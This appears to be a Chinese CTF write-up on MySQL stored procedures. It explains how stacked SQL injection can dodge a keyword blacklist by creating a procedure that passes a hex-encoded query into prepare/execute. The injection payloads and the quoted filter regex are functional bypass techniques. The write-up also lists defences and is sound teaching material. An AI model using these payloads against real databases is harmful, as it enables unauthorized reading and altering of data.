浅析mysql存储过程
字数 1269 2025-08-13 21:33:20

MySQL存储过程与堆叠注入技术详解

一、堆叠注入基础概念

堆叠注入(Stacked injections)是一种SQL注入技术,允许攻击者通过分号(;)分隔执行多条SQL语句。与联合注入(UNION injection)相比,堆叠注入可以执行任意类型的SQL语句,而不仅仅是查询语句。

关键特点:

  • 在MySQL命令行中,分号(;)表示语句结束
  • 通过multi_query函数可以执行多条SQL语句
  • 比联合注入更强大,可以执行CREATE、DROP、INSERT等非查询语句

二、题目环境分析

过滤机制

题目设置了以下过滤规则:

preg_match("/select|update|show|use|updatexml|extractvalue|exp|pow|char|delete|ascii|substr|sleep|if|strcmp|left|mid|concat|drop|insert|where|\./i", $inject);

额外限制:

if(stristr($inject, "set") && stristr($inject, "prepare")){
    echo "请不要同时输入set和prepare";
    exit();
}

绕过思路

由于常规的SELECT等关键字被过滤,且set+prepare被禁止同时使用,需要寻找替代方案:

  1. 使用存储过程分离set和prepare操作
  2. 利用大小写绕过(原题stristr函数漏写'i'参数,但非重点)

三、MySQL存储过程详解

基本概念

存储过程(Stored Procedure)是数据库中存储的预编译SQL语句集合,具有以下特点:

  • 可重复调用
  • 支持参数传递
  • 提高代码复用性
  • 类比面向对象编程中的方法

参数类型

1. IN参数(输入参数)

  • 只接受调用者传入的值
  • 过程内部修改不会影响外部变量

示例:

delimiter 
$$

set @p_in=1;
create procedure in_param(in p_in int)
begin
    select p_in;  -- 输出1
    set p_in=2;
    select p_in;  -- 输出2
end
$$

delimiter ;

call in_param(@p_in);
select @p_in;  -- 仍为1,过程内部修改不影响外部

2. OUT参数(输出参数)

  • 初始值为NULL
  • 过程内部修改会反映到外部

示例:

delimiter //
create procedure out_param(out p_out int)
begin
    select p_out;  -- 输出NULL
    set p_out=2;
    select p_out;  -- 输出2
end//
delimiter ;

set @p_out=1;
call out_param(@p_out);
select @p_out;  -- 输出2

3. INOUT参数

  • 兼具IN和OUT特性
  • 可传入初始值并可被过程修改

四、解题技术方案

分离set和prepare的思路

  1. 将set操作封装到存储过程中
  2. 通过两次调用分别完成set和prepare操作

具体步骤

第一步:创建存储过程

114514';
create procedure `{$uuid}`(out string text(1024), in hex text(1024))
BEGIN
    SET string = hex;
END;
;--
  • {$uuid}:随机生成的存储过程名
  • out参数string:用于输出预处理语句
  • in参数hex:传入要执行的SQL语句的16进制形式

第二步:调用存储过程并执行

114514';
call `{$uuid}`(@decoded, 0x{$sql});
prepare payload from @decoded;
execute payload;
;--
  • 0x{$sql}:要执行的SQL语句的16进制编码
  • 存储过程将hex值赋给@decoded变量
  • 然后prepare和execute执行该语句

替代方案

可以使用INOUT参数简化:

create procedure `{$uuid}`(inout string text(1024))
BEGIN
    SET string = string;
END;

五、关键技术点总结

  1. 堆叠注入优势:可执行任意SQL语句,而不仅是查询
  2. 存储过程作用:封装代码,分离被过滤的关键字
  3. 参数类型选择
    • 需要传入值使用IN
    • 需要获取结果使用OUT
    • 两者都需要使用INOUT
  4. 绕过过滤技巧
    • 使用16进制编码绕过关键字检测
    • 通过存储过程分离被禁止同时出现的关键字

六、防御建议

  1. 避免使用multi_query函数
  2. 使用参数化查询
  3. 严格过滤分号(;)等特殊字符
  4. 限制数据库用户权限,避免执行高危操作
  5. 对存储过程的使用进行监控和审计

七、实验建议

通过实际操作加深理解:

  1. 搭建测试环境,尝试基本的堆叠注入
  2. 实现存储过程的创建和调用
  3. 模拟题目环境,实践绕过过滤的技巧
  4. 尝试使用不同参数类型的存储过程

通过本技术文档,您应该能够深入理解MySQL存储过程在SQL注入中的应用,以及如何利用它们绕过安全限制。这种技术不仅适用于CTF比赛,也对理解数据库安全防护有重要价值。

MySQL存储过程与堆叠注入技术详解 一、堆叠注入基础概念 堆叠注入(Stacked injections) 是一种SQL注入技术,允许攻击者通过分号(;)分隔执行多条SQL语句。与联合注入(UNION injection)相比,堆叠注入可以执行任意类型的SQL语句,而不仅仅是查询语句。 关键特点: 在MySQL命令行中,分号(;)表示语句结束 通过multi_ query函数可以执行多条SQL语句 比联合注入更强大,可以执行CREATE、DROP、INSERT等非查询语句 二、题目环境分析 过滤机制 题目设置了以下过滤规则: 额外限制: 绕过思路 由于常规的SELECT等关键字被过滤,且set+prepare被禁止同时使用,需要寻找替代方案: 使用存储过程分离set和prepare操作 利用大小写绕过(原题stristr函数漏写'i'参数,但非重点) 三、MySQL存储过程详解 基本概念 存储过程(Stored Procedure)是数据库中存储的预编译SQL语句集合,具有以下特点: 可重复调用 支持参数传递 提高代码复用性 类比面向对象编程中的方法 参数类型 1. IN参数(输入参数) 只接受调用者传入的值 过程内部修改不会影响外部变量 示例: 2. OUT参数(输出参数) 初始值为NULL 过程内部修改会反映到外部 示例: 3. INOUT参数 兼具IN和OUT特性 可传入初始值并可被过程修改 四、解题技术方案 分离set和prepare的思路 将set操作封装到存储过程中 通过两次调用分别完成set和prepare操作 具体步骤 第一步:创建存储过程 {$uuid} :随机生成的存储过程名 out参数 string :用于输出预处理语句 in参数 hex :传入要执行的SQL语句的16进制形式 第二步:调用存储过程并执行 0x{$sql} :要执行的SQL语句的16进制编码 存储过程将hex值赋给@decoded变量 然后prepare和execute执行该语句 替代方案 可以使用INOUT参数简化: 五、关键技术点总结 堆叠注入优势 :可执行任意SQL语句,而不仅是查询 存储过程作用 :封装代码,分离被过滤的关键字 参数类型选择 : 需要传入值使用IN 需要获取结果使用OUT 两者都需要使用INOUT 绕过过滤技巧 : 使用16进制编码绕过关键字检测 通过存储过程分离被禁止同时出现的关键字 六、防御建议 避免使用multi_ query函数 使用参数化查询 严格过滤分号(;)等特殊字符 限制数据库用户权限,避免执行高危操作 对存储过程的使用进行监控和审计 七、实验建议 通过实际操作加深理解: 搭建测试环境,尝试基本的堆叠注入 实现存储过程的创建和调用 模拟题目环境,实践绕过过滤的技巧 尝试使用不同参数类型的存储过程 通过本技术文档,您应该能够深入理解MySQL存储过程在SQL注入中的应用,以及如何利用它们绕过安全限制。这种技术不仅适用于CTF比赛,也对理解数据库安全防护有重要价值。